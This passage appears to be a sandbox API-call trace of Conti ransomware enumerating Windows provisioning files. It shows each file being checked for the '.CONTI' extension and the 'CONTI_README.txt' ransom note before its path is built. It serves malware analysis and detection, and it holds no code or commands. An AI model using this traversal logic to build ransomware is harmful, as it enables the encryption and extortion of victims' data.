	[0109.518] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml"
	[0109.519] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9112f110, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9112f110, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9112f110, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml", cAlternateFileName="475__C~1.PRO")) returned 1
	[0109.519] lstrcmpiW (lpString1="475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.519] lstrcmpiW (lpString1="475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.519] StrStrIW (lpFirst="475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.519] StrStrIW (lpFirst="475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.519] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.519] lstrlenW (lpString="475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml") returned 74
	[0109.519] GetProcessHeap () returned 0x1720000
	[0109.519] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14a) returned 0x180b3c8
	[0109.519] lstrcpyW (in: lpString1=0x180b3c8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.519] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.519] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml"
	[0109.519] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9112f110, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9112f110, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9112f110, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="476__C~1.PRO")) returned 1
	[0109.519] lstrcmpiW (lpString1="476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".") returned 1
	[0109.519] lstrcmpiW (lpString1="476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2="..") returned 1
	[0109.519] StrStrIW (lpFirst="476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0109.519] StrStrIW (lpFirst="476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.519] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.519] lstrlenW (lpString="476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned 68
	[0109.519] GetProcessHeap () returned 0x1720000
	[0109.519] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x1809238
	[0109.519] lstrcpyW (in: lpString1=0x1809238, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.519] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.519] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0109.519] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9112f110, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9112f110, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9112f110, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="477__C~1.PRO")) returned 1
	[0109.519] lstrcmpiW (lpString1="477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.519] lstrcmpiW (lpString1="477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.519] StrStrIW (lpFirst="477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.520] StrStrIW (lpFirst="477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.520] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.520] lstrlenW (lpString="477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.520] GetProcessHeap () returned 0x1720000
	[0109.520] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x180a948
	[0109.520] lstrcpyW (in: lpString1=0x180a948, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.520] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.520] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0109.520] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9115537f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9115537f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9115537f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34c, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="478__C~1.PRO")) returned 1
	[0109.520] lstrcmpiW (lpString1="478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.520] lstrcmpiW (lpString1="478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.520] StrStrIW (lpFirst="478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.520] StrStrIW (lpFirst="478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.520] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.520] lstrlenW (lpString="478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml") returned 78
	[0109.520] GetProcessHeap () returned 0x1720000
	[0109.520] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x152) returned 0x65750b0
	[0109.520] lstrcpyW (in: lpString1=0x65750b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.520] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.520] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0109.520] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9115537f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9115537f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9115537f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml", cAlternateFileName="479__C~1.PRO")) returned 1
	[0109.520] lstrcmpiW (lpString1="479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.520] lstrcmpiW (lpString1="479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.520] StrStrIW (lpFirst="479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.520] StrStrIW (lpFirst="479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.520] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.520] lstrlenW (lpString="479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml") returned 78
	[0109.520] GetProcessHeap () returned 0x1720000
	[0109.520] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x152) returned 0x6575210
	[0109.521] lstrcpyW (in: lpString1=0x6575210, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.521] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.521] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml"
	[0109.521] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9026e179, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9026e179, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9026e179, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml", cAlternateFileName="47__CO~1.PRO")) returned 1
	[0109.521] lstrcmpiW (lpString1="47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.521] lstrcmpiW (lpString1="47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.521] StrStrIW (lpFirst="47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.521] StrStrIW (lpFirst="47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.521] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.521] lstrlenW (lpString="47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml") returned 65
	[0109.521] GetProcessHeap () returned 0x1720000
	[0109.521] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x180a570
	[0109.521] lstrcpyW (in: lpString1=0x180a570, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.521] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.521] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml"
	[0109.521] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9115537f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9115537f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9115537f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml", cAlternateFileName="480__C~1.PRO")) returned 1
	[0109.521] lstrcmpiW (lpString1="480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.521] lstrcmpiW (lpString1="480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.521] StrStrIW (lpFirst="480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.521] StrStrIW (lpFirst="480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.521] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.521] lstrlenW (lpString="480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml") returned 78
	[0109.521] GetProcessHeap () returned 0x1720000
	[0109.521] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x152) returned 0x18152b0
	[0109.521] lstrcpyW (in: lpString1=0x18152b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.521] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.521] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml"
	[0109.521] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9115537f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9115537f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9115537f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml", cAlternateFileName="481__C~1.PRO")) returned 1
	[0109.522] lstrcmpiW (lpString1="481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.522] lstrcmpiW (lpString1="481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.522] StrStrIW (lpFirst="481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.522] StrStrIW (lpFirst="481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.522] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.522] lstrlenW (lpString="481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml") returned 78
	[0109.522] GetProcessHeap () returned 0x1720000
	[0109.522] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x152) returned 0x1815580
	[0109.522] lstrcpyW (in: lpString1=0x1815580, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.522] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.522] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml"
	[0109.522] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9117b5eb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9117b5eb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9117b5eb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35c, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml", cAlternateFileName="482__C~1.PRO")) returned 1
	[0109.522] lstrcmpiW (lpString1="482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.522] lstrcmpiW (lpString1="482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml", lpString2="..") returned 1
